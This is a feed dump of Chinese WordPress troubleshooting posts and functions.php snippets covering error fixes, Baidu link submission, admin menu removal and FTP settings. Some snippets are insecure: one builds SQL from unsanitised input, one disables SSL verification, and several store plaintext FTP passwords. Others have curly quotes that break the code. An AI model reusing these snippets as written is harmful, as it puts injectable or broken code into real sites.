  5. 点击 Edit Field.WordPress Admin Login 404 Issue - 10 Most Common WordPress Errors (+Solutions)
  6. Change the URL in the input box of option_value.WordPress Admin Login 404 Issue - 10 Most Common WordPress Errors (+Solutions)
  7. 在页面底部单击Go 按钮.

解决方法 2: 更新文件夹属性

  1. 通过FTP浏览到 “/wp-admin” 文件夹。
  2. 右击该目录,点击 File Attributes.
  3. 设置为755 ,如果有 Recurse into subdirectories 选项则勾选。WordPress Admin Login 404 Issue - 10 Most Common WordPress Errors (+Solutions)
  4. 单击 OK.
  5. 对于 /wp-content 和 wp-includes,重复1-4步。
  6. 打开浏览器看看情况如何,记得CTR+F5刷新。

wordpress十大常见错误之八:管理登录404错误,首发于蓝月网络。

]]>
wordpress十大常见错误之七:更新失败 https://lanyueer.com/update-failed/ Sun, 13 Dec 2015 09:11:19 +0000 http://lanyueer.com/?p=511 问题描述: 在更新wordpress后,当出现 “Fatal error undefined function…

wordpress十大常见错误之七:更新失败,首发于蓝月网络。

]]>

问题描述:

在更新wordpress后,当出现 “Fatal error undefined function is_network_admin()” ,是否会惊慌,其实不用。下面将帮助你解决这个问题。

解决方法:手动更新

引起这个错误,源于wordpress更新失败。所以我们需要尝试手动更新。

  1. 首先从官网下载最新的安装包,并解压。
  2. 备份wordpress。
  3. 重新命名 wp-includes 和 wp-admin 目录为 wp-includes.bak 和 wp-admin.bak.
  4. 上传 wp-includes和 wp-admin目录到主机安装目录下。
  5. 上传新的 wp-content 覆盖 wp-content 文件夹,重写原来的文件。
  6. 把其它文件上传到主机根目录下,覆盖原来的文件。
  7. 通过FTP移除 .maintenance文件。
  8. 登录管理面板,就会出现 “http://domain.com/wordpress/wp-admin/upgrade.php”. 按照提示一路下去。
  9. 如果存在缓存,则清除缓存。至此,一般问题就会等到解决。

wordpress十大常见错误之七:更新失败,首发于蓝月网络。

]]>
wordpress十大常见错误之六:403错误 https://lanyueer.com/403-error/ Sun, 13 Dec 2015 09:09:45 +0000 http://lanyueer.com/?p=509 问题描述: 当输入用户名和密码,出现错误信息 “You are not authorized to view …

wordpress十大常见错误之六:403错误,首发于蓝月网络。

]]>

问题描述:

当输入用户名和密码,出现错误信息 “You are not authorized to view this page. (403 error)” ,如下:

You are not authorized to view this page (403 error) - wordpress十大常见错误

解决方法:开启 Index.Php

如果你的站点是安装在Windows 服务器器上,这可能是目录索引错误.

  1. 登录 Control Panel.
  2. 单击Web Options.
  3. 到 Directory Indexes 选项.
  4. 添加 index.php 到目录索引.

注意:不同主机服务器,具有不同的控制面板。

wordpress十大常见错误之六:403错误,首发于蓝月网络。

]]>
wordpress十大常见错误之五:内存错误 https://lanyueer.com/memory-error/ Sun, 13 Dec 2015 09:07:57 +0000 http://lanyueer.com/?p=508 问题描述: 当上传图像时出现 “Fatal error: Allowed memory size of 335…

wordpress十大常见错误之五:内存错误,首发于蓝月网络。

]]>
问题描述:

当上传图像时出现 “Fatal error: Allowed memory size of 33554432 bytes exhausted” 错误。这是内存大小的错误,为了解决这个问题,一般需要增加分配给PHP的内存大小。根据主机情况,可以设置大小为32MB, 64MB, 128MB 或 256MB. 现在的问题是如何设置?

方法 1: 编辑 PHP.Ini

如果允许编辑 PHP.ini文件的话, 更新 memory_limit ,在 PHP.ini 文件内找到

memory_limit = 64M ; Maximum amount of memory a script may consume (64MB)

如果默认显示 64M 试着修改为 128M.

方法2: 编辑 .Htaccess File

添加下面的一行代码到 .htaccess 文件内

php_value memory_limit 64M

方法 3: 编辑 Wp-Config.Php 文件

添加下面的代码到 wp-config.php 文件

Increasing memory allocated to PHP
define('WP_MEMORY_LIMIT', '64M');

方法 4:在wp-admin文件夹内创建 PHP.Ini 文件

  1. 打开记事本.
  2. 插入下面的代码.
    memory_limit = 64M ;
  3. 保存为 “PHP.ini”.
  4. 上传这个文件到 “wp-admin” 文件夹中.

一般通过上面的方法就能解决,如果还不能解决,检查你的函数文件functions.php里有没有出现可疑代码

wordpress十大常见错误之五:内存错误,首发于蓝月网络。

]]>
wordpress十大常见错误之四:前台和后台都空白 https://lanyueer.com/foreground-and-background-are-blank/ Sun, 13 Dec 2015 09:05:23 +0000 http://lanyueer.com/?p=503 问题描述: wordpress前台和后台都是空白的,这个错误发生在安装新主题或wordpress升级之后出现的…

wordpress十大常见错误之四:前台和后台都空白,首发于蓝月网络。

]]>

问题描述:

wordpress前台和后台都是空白的,这个错误发生在安装新主题或wordpress升级之后出现的. 整个站点都是空白,不管前台和后台,所以根本没有办法进一步管理。

Wordpress blog and admin are showing blank page - 10 Most Common WordPress Errors (+Solutions)

解决方法 1: 通过ftp重命名当前安装的主题名

通过ftp重命名当前安装的主题名可以强制wordpress选择默认主题,这样就可以进入wordpress后台。

  1. 使用ftp登录空间,浏览到 wp-contents/themes文件夹。Wordpress blog and admin are showing blank page - 10 Most Common WordPress Errors (+Solutions)
  2. 重命名当前安装的主题. 例如: 命名”twentytwenty” 为”twentytwenty-temp”.Wordpress blog and admin are showing blank page - 10 Most Common WordPress Errors (+Solutions)
  3. 登录 WordPress wp-admin.
  4. 检查主题是否兼容当前wordpress.
  5. 检测主题代码是否被支持。

方法2: 通过ftp重置插件

  1. 通过ftp登录 wp-contents 目录。
  2. 把plugins重命名 “plugins-temp”.Wordpress blog and admin are showing blank page - 10 Most Common WordPress Errors (+Solutions)
  3. 创建新的 “plugins” 名称.
  4. 尝试登录 WordPress wp-admin.
  5. 把插件从 “plugins-temp” 移到 “plugin”并一个一个激活并检查是否正常。
  6. 这样就可以检测到插件的兼容性。

wordpress十大常见错误之四:前台和后台都空白,首发于蓝月网络。

]]>
wordpress十大常见错误之三:头部信息修改警告 https://lanyueer.com/modify-header-information-warning/ Sun, 13 Dec 2015 09:03:50 +0000 http://lanyueer.com/?p=500 问题描述: 在更新wordpress或新安装wordpress的时候,在浏览器上出现错误信息: “Warnin…

wordpress十大常见错误之三:头部信息修改警告,首发于蓝月网络。

]]>

问题描述:

在更新wordpress或新安装wordpress的时候,在浏览器上出现错误信息: “Warning: Cannot modify header information – headers already sent by (output started at /path/blog/wp-config.php:34)”

解决方法:

  1. 使用FTP下载 wp-config.php 。
  2. 打开 wp-config.php.
  3. 移除 <?php.前的空格
  4. 一定要保证第一个字节是 <?php, 在之前不要有空格。Header Error - 10 Most Common WordPress Errors (+Solutions)
  5. 移除 ?>之后的空格。
  6. 保证最后的字节是 ?>, 在其后不要有空格。Header Error - 10 Most Common WordPress Errors (+Solutions)

这个错误也会在其它文件内出现,特别是函数文件functions.php文件内。如出现RSS错误,一般通过此方法也会得到解决。

wordpress十大常见错误之三:头部信息修改警告,首发于蓝月网络。

]]>
wordpress十大常见错误之二:管理面板显示错乱 https://lanyueer.com/management-panel-display-disorder/ Sun, 13 Dec 2015 09:01:50 +0000 http://lanyueer.com/?p=498 当你有一天登录到wordpress管理面板,发现显示错乱,没有任何CSS效果,所有的链接排列变成了无序的,是不…

wordpress十大常见错误之二:管理面板显示错乱,首发于蓝月网络。

]]>

当你有一天登录到wordpress管理面板,发现显示错乱,没有任何CSS效果,所有的链接排列变成了无序的,是不是会慌乱?像下图一样:
管理面板显示错乱

一旦遇到这种情况,我们提供了以下两种方案去解决:

解决方案1:检查一下Proxy & Firewall

首先应该了解一下您的网络环境是否使用了 proxy代理链接或防火墙。这些工具中的一些可能会扰乱CSS,从而不能正确的链接。所以解决办法就是清除proxy代理链接或防火墙的cookie和缓存。然后按 Ctrl + F5 刷新页面。

解决方案 2: 升级WordPress 插件

另外一个可能就是插件导致的。所以应该停用那些不常用的插件或者升级它们。

wordpress十大常见错误之二:管理面板显示错乱,首发于蓝月网络。

]]>
wordpress十大常见错误之一:无法登录 https://lanyueer.com/can-not-log/ Sun, 13 Dec 2015 09:00:00 +0000 http://lanyueer.com/?p=491 如果您是一个wordpress迷,喜欢折腾插件和尝试新主题的话,可能您会遇到一些这样或那样的错误,本文总结了十…

wordpress十大常见错误之一:无法登录,首发于蓝月网络。

]]>
如果您是一个wordpress迷,喜欢折腾插件和尝试新主题的话,可能您会遇到一些这样或那样的错误,本文总结了十大常见的错误,并附上了解决方法。希望为您的wordpress站点正常运行助一臂之力。

1. 丢失管理密码 & Email 修复密码不起作用

问题描述:

您丢失了您的wordpress管理密码,并多次尝试输入用户名和输入电子邮件都无法获取密码:

Lost Password - 10 Most Common WordPress Errors (+Solutions)

关于这个问题有两个解决办法:

办法 1: PhpMyAdmin

  1. 登录cPanel, 在Databases(数据库)下单击 phpMyAdmin  .Lost Password - 10 Most Common WordPress Errors (+Solutions)
  2. 选择 WordPress 数据库. 例如: Username_wrdp1.
  3. 找到wp_users, 单击 Browse.Lost Password - 10 Most Common WordPress Errors (+Solutions)
  4. 找到 Username 并单击 Edit(编辑).Lost Password - 10 Most Common WordPress Errors (+Solutions)
  5. 输入新的密码到 user_pass. 记住,大小写是不同的.Lost Password - 10 Most Common WordPress Errors (+Solutions)
  6. 一旦完成了这个, 在 Function下选择下拉框, 并选择 MD5 。
  7. 到页面底部, 单击 Go (执行)按钮即可.

办法2: 通过 FTP

  1. 通过 FTP 帐户登录.
  2. 找到 “../wp-content/themes/(your active theme)/”, 把 functions.php 文件下载下来.Lost Password - 10 Most Common WordPress Errors (+Solutions)
  3. 打开 functions.php 并把下面的代码粘贴在 <?php:下面wp_set_password('YourNewPassword',1);把 YourNewPassword 替换成您需要的密码,其中1是用户ID,一般管理员用户ID都为1.
  4. 保存后,通过ftp上传替换原来的文件。
  5. 在能够登录后,移除这个代码(记住)。

wordpress十大常见错误之一:无法登录,首发于蓝月网络。

]]>
WordPress 技巧:移除特定页面模板下的内容编辑器 https://lanyueer.com/disable-content-editor-for-a-specific-page-template/ Mon, 07 Dec 2015 12:42:01 +0000 http://lanyueer.com/?p=485 有时候一些特殊模板页面(比如联系我们页面)编辑后台,你可能添加了一些表单之后,想移除默认的编辑器,只需要在当前…

WordPress 技巧:移除特定页面模板下的内容编辑器,首发于蓝月网络。

]]>
有时候一些特殊模板页面(比如联系我们页面)编辑后台,你可能添加了一些表单之后,想移除默认的编辑器,只需要在当前主题的 functions.php 文件添加下面的代码:

  1. add_action( 'admin_init', 'wpjam_remove_editor' );
  2. function wpjam_remove_editor() {
  3. 	$post_id = $_GET['post'] ? $_GET['post'] : $_POST['post_ID'] ;
  4. 	if( !isset( $post_id ) ) return;
  5.  
  6. 	$template_file = get_post_meta($post_id, '_wp_page_template', true);
  7.  
  8. 	if($template_file == 'contact.php'){ // edit the template name
  9. 		remove_post_type_support('page', 'editor');
  10. 	}
  11. }

只需要把上面的 contact.php 替换成你的页面模板即可。

WordPress 技巧:移除特定页面模板下的内容编辑器,首发于蓝月网络。

]]>
使用这三种方法提交 WordPress 博客链接到百度站长,百度收录立刻翻倍 https://lanyueer.com/wordpress-baidu-zz-link-submit-2/ Mon, 07 Dec 2015 12:33:31 +0000 http://lanyueer.com/?p=482 提交链接到百度站长 现在百度站长越来越开放,已经提供了四种链接提交方式: 1、主动推送:最为快速的提交方式,建…

使用这三种方法提交 WordPress 博客链接到百度站长,百度收录立刻翻倍,首发于蓝月网络。

]]>
提交链接到百度站长

现在百度站长越来越开放,已经提供了四种链接提交方式:

baidu-zz

1、主动推送:最为快速的提交方式,建议将站点当天新产出链接立即通过此方式推送给百度,以保证新链接可以及时被百度收录。

2、sitemap:可以定期将网站链接放到 Sitemap 中,然后将 Sitemap 提交给百度。百度会周期性的抓取检查提交的 Sitemap,对其中的链接进行处理,但收录速度慢于主动推送。

3、手工提交:如果不想通过程序提交,那么可以采用此种方式,手动将链接提交给百度。

4、自动推送:通过一个轻量级链接提交组件实现,将自动推送的 JS 代码放置在站点每一个页面源代码中,当页面被访问时,页面链接会自动推送给百度,有利于新页面更快被百度发现。

WordPress 博客应该如何做?

除了第三种在百度站长后台手工提交没什么好讲之外,其他三种方法,WordPress 博客都能完美支持了:

1、首先通过插件生成站点的 Sitemap,Google XML Sitemap 和 Simple Google Sitemap 这些插件都会生成适配百度站长的 Sitemap 文件,我撰写的 WPJAM Basic 插件里面的简洁SEO 功能也有生成 Sitemap 功能,你按照自己的需求选择一个即可。

2、使用百度站长的 JS 代码实现自动推送,你只需要将下面这段代码贴到你当前也主题的 functions.php 文件即可,该代码已经整合到 WPJAM Basic 插件:

  1. add_action( 'wp_enqueue_scripts', 'wpjam_baidu_zz_enqueue_scripts' );
  2. function wpjam_baidu_zz_enqueue_scripts(){
  3. 	wp_enqueue_script( 'baidu_zz_push', 'http://push.zhanzhang.baidu.com/push.js');
  4. }

3、使用 WordPress 的 Hook 主动推送刚刚发布的文章,百度站长已经提供了一个 WordPress 链接提交插件,但是插件写的过于复杂,我自己写了一个函数可以实现主动推送刚刚发布的文章,把下面代码加入到当前也主题的 functions.php 文件即可,同样该代码已经整合到 WPJAM Basic 插件:

  1. add_action('save_post', 'wpjam_save_post_notify_baidu_zz', 10, 3);
  2. function wpjam_save_post_notify_baidu_zz($post_id, $post, $update){
  3. 	if($post->post_status != 'publish') return;
  4.  
  5. 	$baidu_zz_api_url	= 'http://data.zz.baidu.com/urls?site=your_site_url&token=your_token';
  6. 	//请到百度站长后台获取你的站点的专属提交链接
  7.  
  8. 	$response	= wp_remote_post($baidu_zz_api_url, array(
  9. 		'headers'	=> array('Accept-Encoding'=>'','Content-Type'=>'text/plain'),
  10. 		'sslverify'	=> false,
  11. 		'blocking'	=> false,
  12. 		'body'		=> get_permalink($post_id)
  13. 	));
  14. }

经过一段时间运行之后,进入百度站长后台 > 网页抓取 > 链接提交,可以看到:

baidu-zz-link-submit

基于用户的访问,每天都会有 500-700 页面自动提交到百度站长,每天发布1-2篇的文章页会主动提交到百度站长,百度站长还会通过 sitemap 文件时不时来抓取页面。

使用这三种方法提交 WordPress 博客链接到百度站长,百度收录立刻翻倍,首发于蓝月网络。

]]>
快速解决WordPress网站的超时报错问题 https://lanyueer.com/wordpress-timeout/ Sat, 28 Nov 2015 10:06:41 +0000 http://lanyueer.com/?p=478 最近博客在后台登陆的时候经常发生这样的一个报错 Fatal error: Maximum execution …

快速解决WordPress网站的超时报错问题,首发于蓝月网络。

]]>
最近博客在后台登陆的时候经常发生这样的一个报错
Fatal error: Maximum execution time of 30 seconds exceeded in…
重启一下服务器就好了,但过几天再登陆后台又会报错。很明显是服务器响应超时问题,PHP默认的执行时间是30秒,超过这个时间就会报错。服务器还是不够劲啊!先凑合着用,常规的解决办法也很简单,找到php安装目录下的php.ini,把

  1. max_execution_time = 30

改成60或者更大的值,然后在重启一下PHP就行了。

不过还有一个更简单的解决办法,那就是在Wordpress安装目录下找到wp-config.php,在最后一行添加如下代码

  1. /*break the time limitation on my host*/
  2. set_time_limit(0);

这个办法能够解决单个WP网站的超时报错且不用重启PHP,对服务器其他网站没影响,比较节省时间。

快速解决WordPress网站的超时报错问题,首发于蓝月网络。

]]>
WordPress 博客如何快速提交链接到百度,让你的内容更快更好的被抓取 https://lanyueer.com/wordpress-baidu-zz-link-submit/ Mon, 16 Nov 2015 13:52:14 +0000 http://lanyueer.com/?p=458 百度站长提供了四种链接提交方式: 1、主动推送:是最为快速的提交方式,建议将站点当天新产出链接立即通过此方式推…

WordPress 博客如何快速提交链接到百度,让你的内容更快更好的被抓取,首发于蓝月网络。

]]>
百度站长提供了四种链接提交方式:

1、主动推送:是最为快速的提交方式,建议将站点当天新产出链接立即通过此方式推送给百度,以保证新链接可以及时被百度收录。

2、sitemap:可以定期将网站链接放到 Sitemap 中,然后将 Sitemap 提交给百度。百度会周期性的抓取检查提交的 Sitemap,对其中的链接进行处理,但收录速度慢于主动推送。

3、手工提交:如果您不想通过程序提交,那么可以采用此种方式,手动将链接提交给百度。

4、自动推送:是轻量级链接提交组件,将自动推送的 JS 代码放置在站点每一个页面源代码中,当页面被访问时,页面链接会自动推送给百度,有利于新页面更快被百度发现。

WordPress 博客应该如何做?

1、首先我们要生成站点的 Sitemap,Google XML Sitemap 和 Simple Google Sitemap 这些插件都会生成适配百度站长的 Sitemap 文件,我撰写的 WPJAM Basic 插件里面的简洁SEO 功能也有生成 Sitemap 功能,你按照自己的需求选择一个即可。

2. 使用百度站长的 JS 代码主动推送,你只需要将下面这段代码贴到你当前也主题的 functions.php 文件即可:

  1. add_action( 'wp_enqueue_scripts', 'wpjam_baidu_zz_enqueue_scripts' );
  2. function wpjam_baidu_zz_enqueue_scripts(){
  3. 	wp_enqueue_script( 'baidu_zz_push', 'http://push.zhanzhang.baidu.com/push.js');
  4. }

3. 使用 WordPress 的 Hook 主动推送刚刚发布的文章,百度站长已经提供了一个 WordPress 链接提交插件,但是插件写的过于复杂,下面这个函数可以实现主动推送刚刚发布的文章,把下面代码加入到当前也主题的 functions.php 文件即可:

  1. add_action('save_post', 'wpjam_save_post_notify_baidu_zz', 10, 3);
  2. function wpjam_save_post_notify_baidu_zz($post_id, $post, $update){
  3. 	if($post->post_status != 'publish') return;
  4.  
  5. 	$baidu_zz_api_url	= 'http://data.zz.baidu.com/urls?site=your_site_url&token=your_token';
  6. 	//请到百度站长后台获取你的站点的专属提交链接
  7.  
  8. 	$response	= wp_remote_post($baidu_zz_api_url, array(
  9. 		'headers'	=> array('Accept-Encoding'=>'','Content-Type'=>'text/plain'),
  10. 		'sslverify'	=> false,
  11. 		'blocking'	=> false,
  12. 		'body'		=> get_permalink($post_id)
  13. 	));
  14. }

WordPress 博客如何快速提交链接到百度,让你的内容更快更好的被抓取,首发于蓝月网络。

]]>
WordPress 技巧:如何移除 WordPress 后台的菜单 https://lanyueer.com/how-to-remove-wordpress-admin-menu-items/ Mon, 16 Nov 2015 03:09:25 +0000 http://lanyueer.com/?p=457 可能因为不想给客户看到过多的菜单或者其他种种原因,你想简化 WordPress 后台菜单,其实这个非常容易: …

WordPress 技巧:如何移除 WordPress 后台的菜单,首发于蓝月网络。

]]>
可能因为不想给客户看到过多的菜单或者其他种种原因,你想简化 WordPress 后台菜单,其实这个非常容易:

  1. add_action( 'admin_menu', 'wpjam_remove_admin_menus' );
  2. function wpjam_remove_admin_menus(){
  3. 	remove_menu_page( 'index.php' );                  //Dashboard
  4. 	remove_menu_page( 'edit.php' );                   //Posts
  5. 	remove_menu_page( 'upload.php' );                 //Media
  6. 	remove_menu_page( 'edit.php?post_type=page' );    //Pages
  7. 	remove_menu_page( 'edit-comments.php' );          //Comments
  8. 	remove_menu_page( 'themes.php' );                 //Appearance
  9. 	remove_menu_page( 'plugins.php' );                //Plugins
  10. 	remove_menu_page( 'users.php' );                  //Users
  11. 	remove_menu_page( 'tools.php' );                  //Tools
  12. 	remove_menu_page( 'options-general.php' );        //Settings 
  13. }

如果仅仅想移除子菜单,比如设置界面:

  1. remove_menu_page( 'options-general.php' );        //Settings

也可以移除插件生成的菜单,只要复制链接的最后一段即可,比如要隐藏下面自定义日志类型生成的页面:

http://yourdomain.com/wp-admin/edit.php?post_type=portfolio

可以使用函数:

  1. remove_menu_page( 'edit.php?post_type=portfolio' );

WordPress 技巧:如何移除 WordPress 后台的菜单,首发于蓝月网络。

]]>
清理HEAD头部多余脚本 https://lanyueer.com/head-head-extra-cleanup-script/ Sun, 08 Nov 2015 05:20:31 +0000 http://lanyueer.com/?p=452 remove_action( 'wp_head', 'feed_links_extra', 3 …

清理HEAD头部多余脚本,首发于蓝月网络。

]]>
  1. remove_action( 'wp_head', 'feed_links_extra', 3 ); //去除评论feed
  2.  
  3. remove_action( 'wp_head', 'feed_links', 2 ); //去除文章feed
  4.  
  5. remove_action( 'wp_head', 'rsd_link' ); //针对Blog的远程离线编辑器接口
  6.  
  7. remove_action( 'wp_head', 'wlwmanifest_link' ); //Windows Live Writer接口
  8.  
  9. remove_action( 'wp_head', 'index_rel_link' ); //移除当前页面的索引
  10.  
  11. remove_action( 'wp_head', 'parent_post_rel_link', 10, 0 ); //移除后面文章的url
  12.  
  13. remove_action( 'wp_head', 'start_post_rel_link', 10, 0 ); //移除最开始文章的url
  14.  
  15. remove_action( 'wp_head', 'wp_shortlink_wp_head', 10, 0 );//自动生成的短链接
  16.  
  17. remove_action( 'wp_head', 'adjacent_posts_rel_link', 10, 0 ); ///移除相邻文章的url
  18.  
  19. remove_action( 'wp_head', 'wp_generator' ); // 移除版本号

根据上面的提示注释,我们可以把脚本添加到FUNCTION.PHP(当前主题下)文件中,这样我们网站源代码中就移除掉没有必要的代码行,进而提高代码执行率和网站速度

清理HEAD头部多余脚本,首发于蓝月网络。

]]>
WordPress如何获取分类文章数? https://lanyueer.com/how-to-obtain-the-classification-posts-wordpress/ Sun, 08 Nov 2015 05:19:13 +0000 http://lanyueer.com/?p=451 只需要把下面的代码放置到当前主题 functions.php 文件中即可。 实例代码如下: function …

WordPress如何获取分类文章数?,首发于蓝月网络。

]]>
只需要把下面的代码放置到当前主题 functions.php 文件中即可。
实例代码如下:

  1. function wt_get_category_count($input = ”) {
  2.  
  3. global $wpdb;
  4.  
  5. if($input == ”) {
  6.  
  7. $category = get_the_category();
  8.  
  9. return $category[0]->category_count;
  10.  
  11. }
  12.  
  13. elseif(is_numeric($input)) {
  14.  
  15. $SQL = ”SELECT $wpdb->term_taxonomy.count FROM $wpdb->terms, $wpdb->term_taxonomy WHERE $wpdb->terms.term_id=$wpdb->term_taxonomy.term_id AND $wpdb->term_taxonomy.term_id=$input”;
  16.  
  17. return $wpdb->get_var($SQL);
  18.  
  19. }
  20.  
  21. else {
  22.  
  23. $SQL = ”SELECT $wpdb->term_taxonomy.count FROM $wpdb->terms, $wpdb->term_taxonomy WHERE $wpdb->terms.term_id=$wpdb->term_taxonomy.term_id AND $wpdb->terms.slug=’$input’”;
  24.  
  25. return $wpdb->get_var($SQL);
  26.  
  27. }
  28.  
  29. }

将统计文章的函数添加到 functions.php 文件中后,还需要在前台需要的地方进行代码的调用,以返回一个分类的文章数量,这里有三种调用的方法,如下所示.
1.1 在主循环中调出该函数,且不提供参数,则返回第一个分类的文章数:

  1. <?php echo wt_get_category_count(); ?>

1.2 提供的参数为数字,且该数字为分类的ID号,则返回对应ID的分类的文章数:

  1. <?php echo wt_get_category_count(1); ?>

1.3 提供分类的别名,则返回对应缩略名(别名)的分类文章数:

  1. <?php echo wt_get_category_count(‘hello-world’); ?>

该函数对于含有子分类的分类,文章数统计上会有稍许误差。对于分类文章数为0的情况统计得也不是很好。

WordPress如何获取分类文章数?,首发于蓝月网络。

]]>
如何移除WordPress后台顶部左上角的W图标? https://lanyueer.com/how-to-remove-the-top-left-of-the-w-icon-of-wordpress/ Sun, 08 Nov 2015 05:17:41 +0000 http://lanyueer.com/?p=450 在你主题的functions.php中加入 function annointed_admin_bar_remo…

如何移除WordPress后台顶部左上角的W图标?,首发于蓝月网络。

]]>
在你主题的functions.php中加入

  1. function annointed_admin_bar_remove() {
  2.  
  3. global $wp_admin_bar;
  4.  
  5. /* Remove their stuff */
  6.  
  7. $wp_admin_bar->remove_menu('wp-logo');
  8.  
  9. }
  10.  
  11. add_action('wp_before_admin_bar_render', 'annointed_admin_bar_remove', 0);

如何移除WordPress后台顶部左上角的W图标?,首发于蓝月网络。

]]>
如何自动控制摘要输出 https://lanyueer.com/how-to-automatic-control-describe-output/ Sun, 08 Nov 2015 05:13:10 +0000 http://lanyueer.com/?p=447 <?php echo mb_strimwidth(strip_tags(apply_fi…

如何自动控制摘要输出,首发于蓝月网络。

]]>
  1. <?php echo mb_strimwidth(strip_tags(apply_filters('the_content', $post->post_content)), 0, 240,"..."); ?>

其中240是控制首页显示的摘要字数,可根据自身需要进行修改。

如何自动控制摘要输出,首发于蓝月网络。

]]>
保存WordPress菜单时丢失菜单项问题 https://lanyueer.com/menu-items-missing-issue/ Sun, 08 Nov 2015 05:04:56 +0000 http://lanyueer.com/?p=445 我创建了一个菜单,大概有80多个菜单项,这80多个是直接用WordPress import工具导入的测试数据。…

保存WordPress菜单时丢失菜单项问题,首发于蓝月网络。

]]>
我创建了一个菜单,大概有80多个菜单项,这80多个是直接用WordPress import工具导入的测试数据。但当我想修改菜单,增加几项时,问题就来了,只要多加一个,排在最后的菜单必定会消失一个,连菜单位置的设定也没了,导致无法增加更多的菜单项。

google了一下,发现答案,原来是服务器问题,php 5.3.9后增加了一项叫做max_input_vars,默认值1000,即表单一次可以提交1000个变量。超过了怎么办,只能被截断,也就是说传到WordPress的数据早就被服务器截断了,丢失了,WordPress只能对着残缺不全的数据哑巴吃黄连。

具体的原因在这篇文章中,写的相当详细,我就不重复了,直接说说我是怎么解决的。

拷贝一份php.ini,放到wp-admin目录下,在php.ini里加上这几项,问题就可以解决,放到网站根目录下只能改变前台的设置,影响不到后台。

max_input_vars = 2000

suhosin.post.max_vars = 2000

suhosin.request.max_vars = 2000

如果遇到这个问题,php版本又没到5.3.9,php.ini里也没这项,直接加上就好。

保存WordPress菜单时丢失菜单项问题,首发于蓝月网络。

]]>
WordPress文章部分内容登陆后可见 https://lanyueer.com/wordpress-article-part-visible-after-login/ Sun, 08 Nov 2015 05:03:18 +0000 http://lanyueer.com/?p=444 在网站运维中为了留住访客通常站长会采取诱导注册方法来留住访客,但是如何来诱导访客注册网站就是一个难题了,其实大…

WordPress文章部分内容登陆后可见,首发于蓝月网络。

]]>
在网站运维中为了留住访客通常站长会采取诱导注册方法来留住访客,但是如何来诱导访客注册网站就是一个难题了,其实大家可以在网站发布一些比较优秀而且不常见的资源然后强制访客只有注册才能下载这些资源或者是注册后才能观看到完整的文章,这样一来网站的用户注册数量就会慢慢提高了,那么wordpress如何来隐藏文章的部分内容必须登陆后显示呢?

首先打开当前使用的主题的functions.php文件,并加入以下代码:

  1. add_shortcode( 'vip', 'vip_shortcode' );
  2. function vip_shortcode( $atts, $content = null ) {
  3.  if ( is_user_logged_in() && !is_null( $content ) && !is_feed() )
  4.  return $content;
  5.  return '';
  6. }

然后在后台发布文章时只需要在html模式下用[vip][/vip]包括住需要隐藏的内容即可,示例如下:

  1. [vip]
  2. 这是被隐藏的内容
  3. [/vip]

(PS:一定要在html编辑模式下用[vip][/vip]包括住需要隐藏的内容,可视化编辑模式是无效的。)

WordPress文章部分内容登陆后可见,首发于蓝月网络。

]]>
WordPress提示填写FTP账户连接信息问题汇总 https://lanyueer.com/ftp-account-information-to-fill/ Sun, 08 Nov 2015 05:00:36 +0000 http://lanyueer.com/?p=443 一、WordPress提示:执行请求动作,连接信息必需提供。(在wordpress后台自动升级以及更新删除主题…

WordPress提示填写FTP账户连接信息问题汇总,首发于蓝月网络。

]]>
一、WordPress提示:执行请求动作,连接信息必需提供。(在wordpress后台自动升级以及更新删除主题或者插件的时候。)需要输入FTP账户信息。

百度Google找了一些资料。据说这个填写FTP信息界面,只会出现在PHP进程不是以用户身份来运行的主机上,也就是网站服务器运行PHP的用户和wordpress文件夹的所有者不一样,目的就是为了安全,wordpress在升级时会创建一个临时文件看看owner是不是和当前运行的php是否一样,如果不一样,就会出现这个界面。
遇到这种情况有两种解决办法:

1、填写连接信息。 如果为了以后更新方便的话可以在 wp-config.php 中加入一下代码:

  1. // ** FTP SETTINGS FOR AUTO-UPDATE ** //
  2.  
  3. define(‘FTP_HOST’, ‘localhost’);
  4.  
  5. define(‘FTP_USER’, ‘ftp帐号’);
  6.  
  7. define(‘FTP_PASS’, ‘ftp密码’);

这样无论升级 wordpress 或者插件的时候就都不会有那个FTP提示了。

2、修改文件的权限和用户组。
首先修改Wordpress 的权限,需要有写的权限:
chmod -R 755 /var/www/wordpress
解释:chmod是修改文件(夹)权限的命令,这里加了一个R参数,就是把/var/www/wordpress文件夹内的所有文件(夹)的权限都修改为755
chown -R www /var/www/wordpress
解释: chown是修改文件(夹)用户组的命令,参数R的作用和 chmod 的一样,不过执行此命令需要有root权限。
这样假设服务器的PHP的用户组是www,修改完以后再去尝试wordpress的自动升级,一键升级就能顺利进行了。

  1. 二、正确输入FTP主机用户名和密码等连接信息后,仍然无法完成更新或者升级等操作,怎么办?

据说这个是服务器端的权限设置问题。为了以后遇到此类问题不再到处求助,遂把几位朋友的问题最终之解决办法记录整理与下:

  1. 办法1、修改FTP相关信息之后,复制下面这段代码到wp-config.php文件中的?>之前:
  1. //*added ftp login credentials to avoid the annoying prompt asking for login info every time I wanted to upgrade a plugin*
  2.  
  3. define(‘FTP_HOST’, ‘ftp.yoursite.com’);
  4.  
  5. define(‘FTP_USER’, ‘Your_FTP_Username’);
  6.  
  7. define(‘FTP_PASS’, ‘Your_FTP_password’);
  8.  
  9. //*If you can use a SSL connection set this to true*
  10.  
  11. define(‘FTP_SSL’, true);

办法2、复制下面这段代码到wp-config.php文件中的?>之前:

  1. /** ftp theme and plugins**/
  2.  
  3. define(‘FTP_BASE’, ‘/path/to/wordpress/’);
  4.  
  5. define(‘FTP_CONTENT_DIR’, ‘/path/to/wordpress/wp-content/’);
  6.  
  7. define(‘FTP_PLUGIN_DIR’, ‘/path/to/wordpress/wp-content/plugins/’);
  8.  
  9. define(‘FTP_USER’, ‘Your_FTP_Username’);
  10.  
  11. define(‘FTP_PASS’, ‘Your_FTP_password’);
  12.  
  13. define(‘FTP_HOST’, ‘ftp.yoursite.com’);
  14.  
  15. define(‘FTP_SSL’, false);

方法3、复制下面这段代码到wp-config.php文件中的?>之前:

  1. /** Override default file permissions */
  2.  
  3. if(is_admin()) {
  4.  
  5. add_filter(‘filesystem_method’, create_function(‘$a’, ‘return “direct” ;’ ));
  6.  
  7. define( ‘FS_CHMOD_DIR’, 0751 );
  8.  
  9. }

注意:复制粘贴上面的代码后,确认标点均为英文状态下的符号格式。

WordPress提示填写FTP账户连接信息问题汇总,首发于蓝月网络。

]]>
WordPress内存耗尽错误解决办法 https://lanyueer.com/wordpress-memory-exhausted-error-solutions/ Sun, 08 Nov 2015 04:58:09 +0000 http://lanyueer.com/?p=442 WordPress程序消耗内存,插件,主题也都消耗内存,在WordPress新版本(WordPress 3.0…

